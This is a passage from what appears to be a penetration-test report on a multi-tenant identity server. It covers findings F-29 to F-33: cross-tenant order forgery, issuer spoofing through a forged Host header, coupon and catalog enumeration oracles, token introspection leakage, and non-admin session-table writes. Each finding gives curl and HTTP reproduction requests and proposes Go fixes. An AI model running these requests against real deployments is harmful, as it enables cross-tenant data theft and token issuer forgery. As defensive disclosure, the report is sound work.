In `controllers/casbin_api.go`, in `GetAllRoles`, `GetAllObjects`, and `GetAllActions`, stop trusting the `userId` query parameter as-is. When `userId` is supplied, verify it belongs to the caller before using it, mirroring the same authorization pattern already used by `GetRole/GetRoles` (owner/admin check). Concretely: split `userId` into `owner, name := util.GetOwnerAndNameFromId(userId)`, and reject the request (`c.ResponseError(...)`) unless `owner == c.GetSessionUsername()`'s owner, or `c.IsAdmin()`/`c.IsGlobalAdmin()` (or an equivalent role/permission ownership check already used elsewhere in the same file, e.g. in `UpdateRole`) returns true for the caller relative to that owner. Only fall back to `userId = c.GetSessionUsername()` when the parameter is empty, as today. Apply the same guard to all three handlers since they share the identical vulnerable pattern. If the underlying policy in `authz/authz.go` truly needs `/api/get-all-roles`, `/api/get-all-objects`, `/api/get-all-actions` to remain globally allow-listed (any authenticated session), the ownership check inside the handler is the necessary compensating control since casbin will not otherwise scope it.

F-29 [MEDIUM] Cross-tenant order forgery via unchecked owner parameter on POST /api/place-order

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any authenticated user in one tenant can write attacker-chosen order records into another tenant's order table, where they surface in a real customer's own order history. The same path lets any authenticated user enumerate another tenant's full product catalog and pricing, including unpublished products. No payment is taken and no personal data is exposed.

REPRODUCTION STEPS

Preconditions: two tenants exist, `niro-alpha` and `niro-beta`. Use credential `STANDARD_ALICE` (`niro-alpha/alice`) as the attacker session, and `TENANT_BETA_ALICE` (`niro-beta/alice`) as the real victim in the other tenant whose order history gets polluted. `TENANT_BETA_ADMIN` (`niro-beta/admin`) is used only to seed a product inside `niro-beta` for the demo.

1. Log in as `TENANT_BETA_ADMIN` and create a product scoped to `niro-beta`:

```
POST /api/add-product
{"owner":"niro-beta","name":"product_beta_secret_vec","displayName":"Beta Secret VEC Product","price":88.88,"currency":"USD","quantity":50,"state":"Published","providers":{"provider_balance","provider_payment_dummy"}}
```

2. Log in as `STANDARD_ALICE` (`niro-alpha/alice`, cookie jar `alice.jar`) and place an order while forging the tenant via the owner query parameter, pointing at the victim tenant instead of the caller's own `niro-alpha`:

```
curl -b alice.jar -X POST 'http://127.0.0.1:18000/api/place-order?owner=niro-beta' \
-H 'Content-Type: application/json' \
-d '{"productInfos":[{"name":"product_beta_secret_vec","quantity":2}]}'
```

Expected secure behavior: request rejected (403/permission error) because the caller's session organization (`niro-alpha`) does not match the requested owner (`niro-beta`). Observed vulnerable behavior: status: `ok`, response body `{"owner":"niro-`

`beta","name":"order_20260817_190316_e93a6d8","user":"alice","price":177.76,"productInfos":[{"owner":"niro-beta","name":"product_beta_secret_vec","price":88.88,...}],...}` — an order scoped to `niro-beta` was created, priced from the real `niro-beta` product, using only the caller's `niro-alpha` session.

3. Repeat step 2 with `"quantity":5` to confirm reproducibility — a second forged order `order_20260817_190336_b66d708` (price 444.40) is created identically, ruling out a one-off fluke.
4. Log in as the real `TENANT_BETA_ALICE` (`niro-beta/alice`, cookie jar `betaalice.jar`) and list her own orders:

```
curl -b betalice.jar 'http://127.0.0.1:18000/api/get-orders?owner=niro-beta'
```

Both forged orders (`order_20260817_190316_e93a6d8` and `order_20260817_190336_b66d708`) appear verbatim in this response — records the real victim never created now sit in her own transaction history, because the server-side filter (`controllers/order.go GetOrders`, non-admin branch) matches on owner (tenant) plus the bare username from `c.GetSessionUsername()`, and the forged order's `User` field was set to the attacker's own local username `alice`, which collides with the victim's local username in the other tenant.

5. Cross-tenant catalog/pricing oracle: repeating step 2 with a made-up product name returns `{"status":"error","msg":"the product: this_product_does_not_exist_xyz does not exist"}`, while a real cross-tenant product name (including unpublished/draft ones) echoes its price and display name — letting any authenticated user enumerate another tenant's product catalog without belonging to that tenant.

RECOMMENDED REMEDIATION

In `controllers/order_pay.go PlaceOrder`, the `owner` query parameter is used to scope the order (`object.PlaceOrder(owner, productInfos, user, req.CouponCode)`) without ever being checked against the caller's actual organization. Fix by deriving the tenant scope from the authenticated session instead of trusting the query parameter: after computing `userId := c.GetSessionUsername()` (or the resolved `paidUserName` path), extract the organization from it via `util.GetOwnerAndNameFromIdWithError(userId)` and require that it equals `owner`, e.g.:

```
sessionOwner, _, err := util.GetOwnerAndNameFromIdWithError(c.GetSessionUsername())
if err != nil {
    c.ResponseError(err.Error())
    return
}
if owner != sessionOwner && !c.IsAdmin() {
    c.ResponseError(c.T("general:Only admin user can specify a different owner"))
    return
}
```

This mirrors the existing same-file check at line 59 (`userId != c.GetSessionUsername() && !c.IsAdmin() && ...`) that already guards the `paidUserName` override, so the same admin-bypass pattern and translation helper can be reused. Apply the same `owner-vs-session` check to the `object.GetProduct/GetProducts` lookups reached from this flow if a non-admin caller should not be able to resolve product names/prices belonging to a different tenant at all (currently used as an existence/price oracle in step 5 above).

F-30 [MEDIUM] OIDC discovery document and issued token `iss` claim are forged from client-supplied Host header

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any unauthenticated caller controls the `iss` claim baked into real, validly-signed access/ID tokens by sending an arbitrary Host header during login, and the same forged value fills the OIDC discovery document. Relying parties pinning the expected issuer, or multi-hostname deployments (CDN, reverse proxy, tenant aliases), lose the ability to trust that claim, enabling issuer-confusion attacks.

REPRODUCTION STEPS

Preconditions: target reachable at `http://127.0.0.1:18000`; OAuth client APP_NIRO_ALPHA_OAUTH (`client_id=274544347bbb0f3a141e`, `redirect_uri http://localhost:19001/callback`) and user STANDARD_BOB (`niro-alpha/bob`) available.

1. Discovery-document spoof — send any Host header and observe every endpoint URL in the response reflect it:

```
curl -s -H "Host: evil.attacker.com" http://127.0.0.1:18000/.well-known/openid-configuration | jq '{issuer, token_endpoint, jwks_uri}'
```

Observed:

```
{
  "issuer": "https://evil.attacker.com",
  "token_endpoint": "https://evil.attacker.com/api/login/oauth/access_token",
  "jwks_uri": "https://evil.attacker.com/.well-known/jwks"
}
```

Expected: the issuer and every endpoint URL should always be the server's own configured origin (`https://127.0.0.1:18000` here), independent of the Host header supplied by the caller.

2. Token-issuance spoof — perform a real password login for `niro-alpha/bob` while sending Host: `evil.attacker.com` on the request that mints the authorization code (`POST /api/login?clientId=274544347bbb0f3a141e&responseType=code&redirectUri=http://localhost:19001/callback&scope=openid%20profile%20email&state=xyz&nonce=n1`, JSON body `{"application": "app-niro-alpha", "organization": "niro-alpha", "username": "bob", "password": "<STANDARD_BOB_SECRET>", "signInMethod": "Password", "type": "code"}`, header Host: `evil.attacker.com`). This returns `{"data": "<code>"}`. Exchange the code normally at `POST /api/login/oauth/access_token` with `grant_type=authorization_code&client_id=274544347bbb0f3a141e&client_secret=<APP_NIRO_ALPHA_OAUTH_SECRET>&code=<code>` `localhost:19001/callback`. Decode the returned `access_token` JWT payload (base64url-decode the second dot-segment).

Observed (2 independent runs): `"iss": "https://evil.attacker.com"`, JWT header `"kid": "cert-built-in"` — i.e. the token is signed with the server's real production signing key but carries a fully attacker-chosen issuer.

Expected: `iss` in every issued token must always equal the server's configured origin, never a value taken from the request's Host header.

Root cause (source, for reference): `object/wellknown_oidc_discovery.go getOriginFromHost(host)` and `object.GetOAuthCode(...)` in `controllers/auth.go` (Login, ~line 187) both derive origin/issuer from `c.Ctx.Request.Host` with no allow-list check against the server's configured domain(s); the resulting origin is embedded into the token at code-creation time and later returned verbatim by `GetAuthorizationCodeToken` on code exchange.

RECOMMENDED REMEDIATION

Stop trusting the raw client-supplied Host header as the source of truth for the issuer/origin. In `object/wellknown_oidc_discovery.go`, change `getOriginFromHostInternal/getOriginFromHost` to first check a server-side configured value (e.g. a new `origin/issuerUrl` field in `conf.go`'s config, analogous to Casdoor's existing origin setting) and only fall back to deriving from `Request.Host` when that configuration is unset, and when falling back, validate the host against an explicit allow-list of configured application/organization domains before using it — reject or default to the configured origin otherwise. Apply the same allow-listed lookup at the call site in `controllers/auth.go`'s `Login()` (the `form.Type == ResponseTypeCode` branch that calls `object.GetOAuthCode(..., c.Ctx.Request.Host, ...)`) and in `controllers/token.go` (`host := c.Ctx.Request.Host` used for `GetOAuthToken`), so the issuer baked into a code/token at creation time is always the vetted origin rather than whatever Host the client sent. This keeps multi-domain deployments working (by allow-listing legitimate aliases) while closing the arbitrary-value injection path.

F-31 [MEDIUM] Cross-tenant coupon disclosure via `/api/validate-coupon owner field`

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any authenticated user in one tenant can disclose and enumerate another tenant's coupon codes, discount percentages/amounts, display names, and scope by supplying that tenant's ``owner`` value, exposing another organization's promotional/business-sensitive data and a code-guessing oracle without any relationship to that tenant.

REPRODUCTION STEPS

1. As tenant admin `TENANT_BETA_ADMIN` (`niro-beta/admin`), create a coupon in organization `niro-beta` via `POST /api/add-coupon`:

```
{ "owner": "niro-beta", "name": "coupon_test_1786993386", "code": "SECRET1786993386", "displayName": "Beta Secret Test Coupon", "discountType": "percentage", "discount": 42, "maxDiscount": 999, "scope": "universal", "state": "Active", "startTime": "2020-01-01T00:00:00Z", "expireTime": "2030-01-01T00:00:00Z" }
```

2. Log in as `STANDARD_ALICE` (`niro-alpha/alice`) — a standard user in the unrelated organization `niro-alpha`, with no membership or relationship to `niro-beta`.
3. Send, using Alice's session cookie:

```
POST /api/validate-coupon
Content-Type: application/json
```

```
{ "owner": "niro-beta", "couponCode": "SECRET1786993386", "products": [], "amount": 100, "currency": "USD" }
```

Expected secure behavior: the request should be rejected (e.g. "coupon code does not exist" or a permission error) because Alice's session belongs to `niro-alpha`, not `niro-beta`.

Observed vulnerable behavior (HTTP 200, reproduced on 2 separate runs):

```
{ "status": "ok", "data": { "coupon": { "discount": 42, "discountType": "percentage", "displayName": "Beta Secret Test Coupon", "maxDiscount": 999, "name": "coupon_test_1786993386", "scope": "universal" }, "discount": 42 } }
```

4. Submitting a wrong code for the same foreign owner (`"couponCode": "WRONGCODE12345XYZ"`) returns a distinguishable error "the coupon code: `WRONGCODE12345XYZ` does not exist", confirming the endpoint can be used as a brute-force oracle to enumerate any tenant's valid coupon codes by iterating codes against an arbitrary owner value while remaining logged in as any user.

Note: redemption itself is not cross-tenant — `PlaceOrder`'s coupon lookup is correctly scoped to the order's own owner (per source review of `object/coupon_apply.go` order-placement path), so impact is limited to disclosure/enumeration of another tenant's coupon codes and discount economics, not direct monetary loss.

RECOMMENDED REMEDIATION

In `controllers/coupon.go` `ValidateCoupon()`, do not trust `req.Owner` from the request body. After resolving `userId/userName` from the session, also resolve the caller's own organization (e.g. via `util.GetOwnerAndNameFromIdWithError(userId)` — the discarded first return value already is the owner) and pass that resolved owner into `object.ValidateCoupon(...)` instead of `req.Owner`, exactly as `PlaceOrder`'s coupon lookup already scopes to the order's own owner. This closes both the disclosure and the enumeration-oracle path since a caller can never query coupons for any owner other than their own session's organization.

F-32 [MEDIUM] Token introspection endpoint discloses token metadata to unrelated OAuth clients

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any registered OAuth client can authenticate with its own valid client credentials and query `/api/login/oauth/introspect` for a token issued to a completely different, unrelated application in another tenant, receiving that token's active status, owning username, user id, granted scope, expiry, and JWT id.

REPRODUCTION STEPS

Preconditions: two independently registered OAuth applications with their own client credentials — `APP_NIRO_ALPHA_OAUTH` (client_id `274544347bbb0f3a141e`, org `niro-alpha`) and `APP_NIRO_BETA_OAUTH` (client_id `5b5a0940b98f3441fc26`, org `niro-beta`) — plus a standard user `STANDARD_BOB` (`niro-alpha/bob`).

1. Obtain an `access_token` issued to `app-niro-alpha` for user `niro-alpha/bob` via the standard `authorization_code` flow:

```
POST /api/login?clientId=274544347bbb0f3a141e&responseType=code&redirectUri=http://localhost:19001/callback&scope=openid+profile+email&state=xyz
Body: {"application":"app-niro-alpha","organization":"niro-alpha","username":"bob","password":"<STANDARD_BOB_SECRET>","type":"code","signInMethod":"Password"}
```

then exchange the returned code:

```
POST /api/login/oauth/access_token
grant_type=authorization_code&client_id=274544347bbb0f3a141e&client_secret=<APP_NIRO_ALP
HA_OAUTH_SECRET>&code=<code>&redirect_uri=http://localhost:19001/callback
```

This yields `access_token` whose JWT aud claim is `["274544347bbb0f3a141e"]` (`app-niro-alpha` only).

2. As `app-niro-beta` (a different, unrelated application in a different organization), introspect that same token using `app-niro-beta`'s own credentials, never `app-niro-alpha`'s:

```
curl -X POST http://127.0.0.1:18000/api/login/oauth/introspect \
-d "token=<access_token from step 1>" \
-d "client_id=5b5a0940b98f3441fc26" \
-d "client_secret=<APP_NIRO_BETA_OAUTH_SECRET>"
```

Expected secure behavior: since the token's `aud`/owning application is `app-niro-alpha`, not `app-niro-beta`, the endpoint should return `{"active":false}` to `app-niro-beta`.

Observed vulnerable behavior (HTTP 200, reproduced on 2 separate runs with identical results):

```
{
  "active": true,
  "scope": "openid profile email",
  "client_id": "274544347bbb0f3a141e",
  "username": "bob",
  "token_type": "Bearer",
```

```

"exp": 1787598340,
"iat": 1786993540,
"nbf": 1786993540,
"sub": "niro-niro-alpha-bob",
"aud": ["274544347bbb0f3a141e"],
"iss": "https://127.0.0.1:18000",
"jti": "admin/dd184a1b-9c5e-4a8a-996f-bfed51b6a259"
}

```

app-niro-beta received full validity/metadata for a token it was never issued and has no relationship to, confirming the endpoint performs no comparison between the authenticated caller's application and the token's actual owning application.

Root cause (controllers/token.go IntrospectToken, object/token_jwt.go ParseJwtTokenByApplication): the token is parsed/validated using the cert of the caller's own resolved application (from ValidateOAuth, based solely on the caller's own client_id/client_secret), not the cert of the application the token was actually issued to. Later, the handler looks up the real owning application via GetApplication(token.Owner+"/"+token.Application) only to fill in the client_id field of the response — it never compares that owning application's ClientId to the authenticated caller's ClientId to decide whether to serve the response at all.

RECOMMENDED REMEDIATION

In controllers/token.go IntrospectToken, after the token record is resolved (token, err = object.GetTokenByTokenValue(...) and the owning application is re-fetched via object.GetApplication(fmt.Sprintf("%s/%s", token.Owner, token.Application))), add an authorization check before building/returning introspectionResponse: compare that owning application's ClientId against the client_id the caller authenticated with in ValidateOAuth (keep the originally-resolved caller application in a separate variable, e.g. callerApplication, instead of overwriting application). If they don't match, return the same {"active": false} response used for expired/invalid tokens instead of the populated claims, e.g.:

```

ok, callerApplication, _, _, err := c.ValidateOAuth(false)
...
if token != nil {
    owningApplication, err := object.GetApplication(fmt.Sprintf("%s/%s", token.Owner, token.
Application))
    ...
    if owningApplication.ClientId != callerApplication.ClientId {
        respondWithInactiveToken()
        return
    }
    introspectionResponse.TokenType = token.TokenType
    introspectionResponse.ClientId = owningApplication.ClientId
    ...
}

```

Also apply the same owning-application check to the JWT-signature-verification path (ParseJwtTokenByApplication/ParseStandardJwtTokenByApplication) so that, when tokenTypeHint is supplied and the DB lookup happens first, the cert used to verify the token and the identity used to decide "active" both derive from the token's actual owning application rather than the caller's own application.

F-33 [MEDIUM] Standard users can write/wipe their own row in the admin-only session-tracking table

AFFECTED TARGET

<http://127.0.0.1:18000>

BUSINESS IMPACT

A logged-in user with no admin flag can inject arbitrary values into, or completely erase, the server-side session-tracking record Casdoor uses for exclusive-sign-in enforcement and admin session auditing — letting that user defeat single-session/exclusive-login controls and blind an org admin trying to see or revoke that user's active sessions.

REPRODUCTION STEPS

Preconditions: standard user credential STANDARD_ALICE (identifier niro-alpha/alice), and GLOBAL_ADMIN (identifier built-in/admin) used only to observe server-side state.

1. Log in as STANDARD_ALICE:

```
POST /api/login
{"application":"app-niro-alpha","organization":"niro-alpha","username":"alice","password":"<STANDARD_ALICE_SECRET>","type":"login","signinMethod":"Password"}
```

Response {"status":"ok","data":"niro-alpha/alice"}, session cookie casdoor_session_id set.

2. As GLOBAL_ADMIN, confirm baseline row: GET /api/get-session?sessionPkId=niro-alpha/alice/app-niro-alpha returns sessionId: [<real session ids only>].
3. As STANDARD_ALICE (non-admin), inject a forged entry into her own row via the admin CRUD endpoint:

```
POST /api/add-session
{"owner":"niro-alpha","name":"alice","application":"app-niro-alpha","sessionId":["forged-session-attempt1"]}
```

Expected secure response: {"status":"error","msg":"Unauthorized operation"} (this write should require org-admin/global-admin, same as GetSessions). Observed vulnerable response: 200 {"status":"ok","data":"Affected"}. Re-querying as admin shows sessionId now contains "forged-session-attempt1" appended to the real list.

4. Repeated the exact same request a second time ("forged-session-attempt2") — again 200 {"status":"ok","data":"Affected"} and the value again appears when re-queried as admin, confirming reproducibility.
5. As STANDARD_ALICE, wipe her entire session row:

```
POST /api/delete-session
{"owner":"niro-alpha","name":"alice","application":"app-niro-alpha"}
```

Response 200 {"status":"ok","data":"Affected"}. Re-querying as admin: GET /api/get-session?sessionPkId=niro-alpha/alice/app-niro-alpha now returns "data": null — the entire row, including all real session IDs, was deleted by a non-admin acting only on herself.

6. Boundary confirmation (shows the break is specific to self-writes, not a total absence of checks): STANDARD_ALICE attempting the same add-session call with "name":"bob" (a different user in the same org) returns {"status":"error","msg":"Unauthorized operation"}, and an unauthenticated request to add-session also returns {"status":"error","msg":"Unauthorized operation"}.

RECOMMENDED REMEDIATION

In `controllers/session.go`, the `AddSession`, `UpdateSession`, and `DeleteSession` controllers call `object.AddSession/UpdateSession/DeleteSession` with no authorization check, unlike the sibling `GetSessions` handler which explicitly requires an `admin/org` context. Add an explicit admin check at the top of these three controllers before touching the object layer, mirroring the existing `RequireAdmin/RequireSignedInUser-with-admin-check` pattern used elsewhere in this file (e.g. same style as `GetSessions`) — e.g. `if !c.RequireAdmin() { return }` (or the equivalent helper already used for `GetSessions`) so only a global admin or the target session's org admin can add/update/delete. Do not rely on the generic Casbin `subOwner==objOwner && subName==objName` self-service clause for this endpoint — that matcher is intended for self-service resources (e.g. `/api/get-account`) and should be excluded for the session-write routes, either by adding a `RequireAdmin` gate in Go (preferred, minimal change) or by special-casing session objects out of that OR clause in `routers/authz_filter.go`'s `getObject()/matcher` config so it no longer treats a client-supplied owner/name in the session body as equivalent to acting on one's own account object.

Testing limitations

The items below did not reach a defensible result. They are unverified and must not be interpreted as passing controls.

KNOWN COVERAGE GAPS

G-01	RADIUS authentication server on UDP :1812 — separate protocol and port, not reachable through the authorized HTTP target :18000; login/accounting flows untested.
G-02	Kerberos SPNEGO ticket validation (/api/kerberos-login) — no KDC or keytab available to mint a real service ticket, so the validation path was reviewed in source only, not exercised live.
G-03	Casdoor's built-in LDAP server protocol on :389 — only the HTTP-side LDAP server-config management API was exercised; the actual LDAP listener/bind/search protocol was not probed (separate port/protocol).